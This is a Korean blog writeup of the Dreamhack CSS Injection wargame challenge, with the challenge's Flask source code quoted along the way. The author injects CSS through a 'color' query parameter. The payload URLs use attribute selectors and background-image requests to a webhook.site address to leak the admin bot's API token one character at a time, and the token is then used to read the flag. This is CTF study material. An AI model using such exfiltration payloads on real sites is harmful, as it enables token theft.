Writeup: CSS Injection by Dreamhack 421

eatingnut·4일 전

Writeups

목록 보기
5/5
post-thumbnail

요약

https://dreamhack.io/wargame/challenges/421

CSS injection 취약점을 이용하여 봇(administrator)의 API-KEY를 탈취하고, 해당 API-KEY를 이용해 /api/memo에 접근하여 FLAG가 담긴 봇의 memo를 확인할 수 있다.

풀이과정

코드가 굉장히 많고 길다.. 그래서 이번 writeup은 실제 풀이 사고과정을 중점적으로 써보려고 한다.

우선 CSS Injection 문제이니 만큼 html 파일의 style 태그들을 둘러보다가 base.html에서 다음과 같은 태그를 발견했다.

    <style>
      body{
        background-color: {{ color }};
      }
    </style>

보다시피 jinja 템플릿 형태로 들어가 있으므로 어딘가에서 입력을 받을 것이다.

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

main.py 파일에서 위와 같이 쿼리 파라미터를 받아 배경 색을 바꾸는 함수를 찾았다. render_template 시에 color 값(기본값 흰색)을 넘겨줄 수 있므로 base.html이 실행될 경우 저 css { color } 템플릿 안에 들어갈 것이다.

{% extends "base.html" %}

게다가 다른 html이 모두 base.html을 부모로 하고 있으므로.. 어디서든 쿼리 파라미터를 넣으면 background 값을 바꿀 수 있을 것이다.

실제로 테스트 해보았다.

정상적으로 배경색을 바꿀 수 있다. 그래서 이번에는 css injection 취약점을 통해 다음과 같은 페이로드를 입력해 webhook으로 요청을 받을 수 있을지 확인해 보았다.

http://host3.dreamhack.games:12238/?color=red;%20}%20div%20{%20background:%20url(웹훅 주소)


정상적으로 request가 도착했다. 다만 이건 실제 admin의 요청은 아니므로 bot의 요청을 하는 창구가 있어야 할 것이다.

처음에는 웹훅 주소를 "로 감쌌더니 아래와 같이 jinja에 의해 html entity escaping이 돼버려서 요청이 오질 않았다.. style 태그에서 url 내부의 값은 "로 감싸지 않아도 된다고 한다.

&#34;

register 기능을 통해 회원가입 후 로그인 하여 /mypage를 살펴보았다. 아래와 같이 나의 API Token 값을 확인할 수 있었다.

지금은 나의 API Token이지만, 봇이 방문한다면, 이때의 value 값을 CSS Injection을 통해 한 자리씩 확인할 수 있다면 봇의 API Token도 탈취할 수 있을 것이다.

<div class="form-group">
  <label for="InputApitoken">API Token</label>
  <input type="text" class="form-control" id="InputApitoken" readonly value="{{ user[3] }}">
  <button class="btn btn-primary" onclick="TokenCopy()">Copy</button>
</div>

mypage.html의 일부이다. 봇으로 확인하기 전에 내 API Token을 유출할 수 있을지 확인해보자.
CSS attribute selector를 통해 input[id=InputApitoken]으로 지정 후 value 값에 따라 leak 여부를 확인할 수 있도록 [value^=m] 옵션을 추가했다. 이에 따라 해당 value의 접두사가 m이라면 url로 요청을 보내게 될 것이다.

http://host3.dreamhack.games:12238/mypage?color=white;%20}%20input[id=InputApitoken][value^=m]%20{%20background-image:url(https://webhook.site/0b3bee84-a15a-4568-934a-3d5eb1d20475/?leak=m)

실제로 도착했다. 다음은 main.py에서 봇의 작동 코드를 확인해보자.

def check_url(url):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        sleep(0.1)
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True

check_url은 admin의 username과 password로 로그인을 한 뒤 전달된 url로 방문한다.

페이지를 둘러보면 /report에는 다음과 같이 error report 페이지가 있다. 내가 path 값을 지정할 수도 있다.

실제로 /report 라우트에서 내가 report 한 주소를 url로 받아 check_url 함수를 호출한다.

@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")

따라서 이곳에 페이로드를 작성하면 봇의 API Token을 탈취할 수 있을 것이다.

def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token

API Token은 위의 코드에서 확인할 수 있듯이 a-z 8자리이므로 한글자씩 알아내 새로 페이로드를 작성한다면 긴 시간은 걸리지 않을 것이다.

http://host3.dreamhack.games:12238/mypage?color=white;%20}%20input[id=InputApitoken][value^=m]%20{%20background-image:url(https://webhook.site/0b3bee84-a15a-4568-934a-3d5eb1d20475/?leak=m)

실제 report 요청은 burp suite Intruder 환경에서 Pitchfork attack을 이용해 진행하였다.


첫번째 글자는 c였고 payload 부분에서 확정된 부분을 바꾸어가며 [value^=c?] 와 같은 형식으로 계속해서 하나씩 진행할 수 있다. 결론적으로 봇의 API Token 값은 'chlxmpcw'였다.

봇의 API Token으로 그래서 무엇을 할 수 있을까? 코드를 둘러보면 맨 아래에 다음과 같이 sql에 FLAG 값을 memo 테이블로 추가하는 것을 확인할 수 있다.

    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )

또한 /api/memo 라는 라우트에서 API를 통해 메모들을 확인할 수 있는 코드가 있다.


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}

@login_required처럼 데코레이터가 붙어있는 것을 확인할 수 있다. 이곳에서 request.uid 값을 불러올 수 있을듯 하다.

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view

내가 api 요청할 때 API-KEY 헤더에 api key 값을 제공하게 되면, 해당 값이 실제 db 내의 token과 동일한지 확인 후 동일하다면 request.uid 값을 받는 것을 확인할 수 있다.

즉, /api/memo 를 통해 admin의 API-KEY 값과 함께 GET 요청을 하게되면 봇의 memo를 확인할 수 있을 것이고, FLAG를 획득할 수 있을 것이다.

결과


정상적으로 flag를 획득했다.

배운 점/느낀 점

지금까지 풀어본 워게임들보다 코드의 규모가 커서 처음엔 당황스러웠다.

하지만 css injection의 논리를 잡고 인젝션에 성공한 후 어떻게 하면 다음 단계로 나갈 수 있을까 논리흐름에 따라 차근차근 따라가보니 풀 수 있었다.

코드 내에서 생소했던 건 sqlite를 python으로 다루는 방식이나, 라우트 뒤에 붙는 데코레이터 같은 문법이다.

또 url() 내부에 "를 넣는 시행착오로 url 인코딩, 서버에서의 파싱, html, css 파서 등.. 데이터가 어떻게 읽히고 해석되는지에 대한 이해도 함께 할 수 있었다.

profile
인하대학교 컴퓨터공학과 22학번 이우성

0개의 댓글